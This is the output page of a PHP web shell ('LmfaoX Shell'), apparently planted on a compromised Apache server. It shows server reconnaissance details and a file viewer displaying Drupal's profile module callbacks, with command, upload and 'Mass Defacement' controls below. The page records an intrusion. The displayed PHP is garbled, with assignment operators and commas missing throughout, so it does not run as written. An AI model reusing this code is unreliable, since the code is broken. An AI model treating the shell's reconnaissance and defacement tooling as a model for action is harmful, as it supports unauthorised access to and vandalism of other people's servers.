ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:26.27 GB of 70.42 GB (37.31%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ guitar/ modules/ profile/ - dr-xr-xr-x

Directory:
Viewing file:     profile.pages.inc (4.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @file
 * User page callbacks for the profile module.
 */

/**
 * Menu callback; display a list of user information.
 */
function profile_browse() {
  
// Ensure that the path is converted to 3 levels always.
  
list(, $name$value) = array_pad(explode('/'$_GET['q'], 3), 3'');

  
$field db_query("SELECT DISTINCT(fid), type, title, page, visibility FROM {profile_field} WHERE name = :name", array(':name' => $name))->fetchObject();

  if (
$name && $field->fid) {
    
// Only allow browsing of fields that have a page title set.
    
if (empty($field->page)) {
      
drupal_not_found();
      return;
    }
    
// Do not allow browsing of private and hidden fields by non-admins.
    
if (!user_access('administer users') && ($field->visibility == PROFILE_PRIVATE || $field->visibility == PROFILE_HIDDEN)) {
      
drupal_access_denied();
      return;
    }

    
// Compile a list of fields to show.
    
$fields db_query('SELECT name, title, type, weight, page FROM {profile_field} WHERE fid <> :fid AND visibility = :visibility ORDER BY weight', array(
      
':fid' => $field->fid,
      
':visibility' => PROFILE_PUBLIC_LISTINGS,
    ))->
fetchAll();

    
$query db_select('users''u')->extend('PagerDefault');
    
$query->join('profile_value''v''u.uid = v.uid');
    
$query
      
->fields('u', array('uid''access'))
      ->
condition('v.fid'$field->fid)
      ->
condition('u.status'0'<>')
      ->
orderBy('u.access''DESC');

    
// Determine what query to use:
    
$arguments = array($field->fid);
    switch (
$field->type) {
      case 
'checkbox':
        
$query->condition('v.value'1);
        break;
      case 
'textfield':
      case 
'selection':
        
$query->condition('v.value'$value);
        break;
      case 
'list':
        
$query->condition('v.value''%' db_like($value) . '%''LIKE');
        break;
      default:
        
drupal_not_found();
        return;
    }

    
$uids $query
      
->limit(20)
      ->
execute()
      ->
fetchCol();

    
// Load the users.
    
$users user_load_multiple($uids);

    
$content '';
    foreach (
$users as $account) {
      
$profile _profile_update_user_fields($fields$account);
      
$content .= theme('profile_listing', array('account' => $account'fields' => $profile));
    }
    
$output theme('profile_wrapper', array('content' => $content));
    
$output .= theme('pager');

    if (
$field->type == 'selection' || $field->type == 'list' || $field->type == 'textfield') {
      
$title strtr(check_plain($field->page), array('%value' => drupal_placeholder($value)));
    }
    else {
      
$title check_plain($field->page);
    }

    
drupal_set_title($titlePASS_THROUGH);
    return 
$output;
  }
  elseif (
$name && !$field->fid) {
    
drupal_not_found();
  }
  else {
    
// Compile a list of fields to show.
    
$fields db_query('SELECT name, title, type, weight, page, visibility FROM {profile_field} WHERE visibility = :visibility ORDER BY category, weight', array(':visibility' => PROFILE_PUBLIC_LISTINGS))->fetchAll();

    
// Extract the affected users:
    
$query db_select('users''u')->extend('PagerDefault');
    
$uids $query
      
->fields('u', array('uid''access'))
      ->
condition('u.uid'0'>')
      ->
condition('u.status'0'>')
      ->
orderBy('u.access''DESC')
      ->
limit(20)
      ->
execute()
      ->
fetchCol();
    
$users user_load_multiple($uids);
    
$content '';
    foreach (
$users as $account) {
      
$profile _profile_update_user_fields($fields$account);
      
$content .= theme('profile_listing', array('account' => $account'fields' => $profile));
    }
    
$output theme('profile_wrapper', array('content' => $content));
    
$output .= theme('pager');

    
drupal_set_title(t('User list'));
    return 
$output;
  }
}

/**
 * Callback to allow autocomplete of profile text fields.
 */
function profile_autocomplete($field$string) {
  
$matches = array();
  
$autocomplete_field = (bool) db_query_range("SELECT 1 FROM {profile_field} WHERE fid = :fid AND autocomplete = 1"01, array(':fid' => $field))->fetchField();
  if (
$autocomplete_field) {
    
$values db_select('profile_value')
      ->
fields('profile_value', array('value'))
      ->
condition('fid'$field)
      ->
condition('value'db_like($string) . '%''LIKE')
      ->
groupBy('value')
      ->
orderBy('value')
      ->
range(010)
      ->
execute()->fetchCol();
    foreach (
$values as $value) {
      
$matches[$value] = check_plain($value);
    }
  }

  
drupal_json_output($matches);
}
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1892 seconds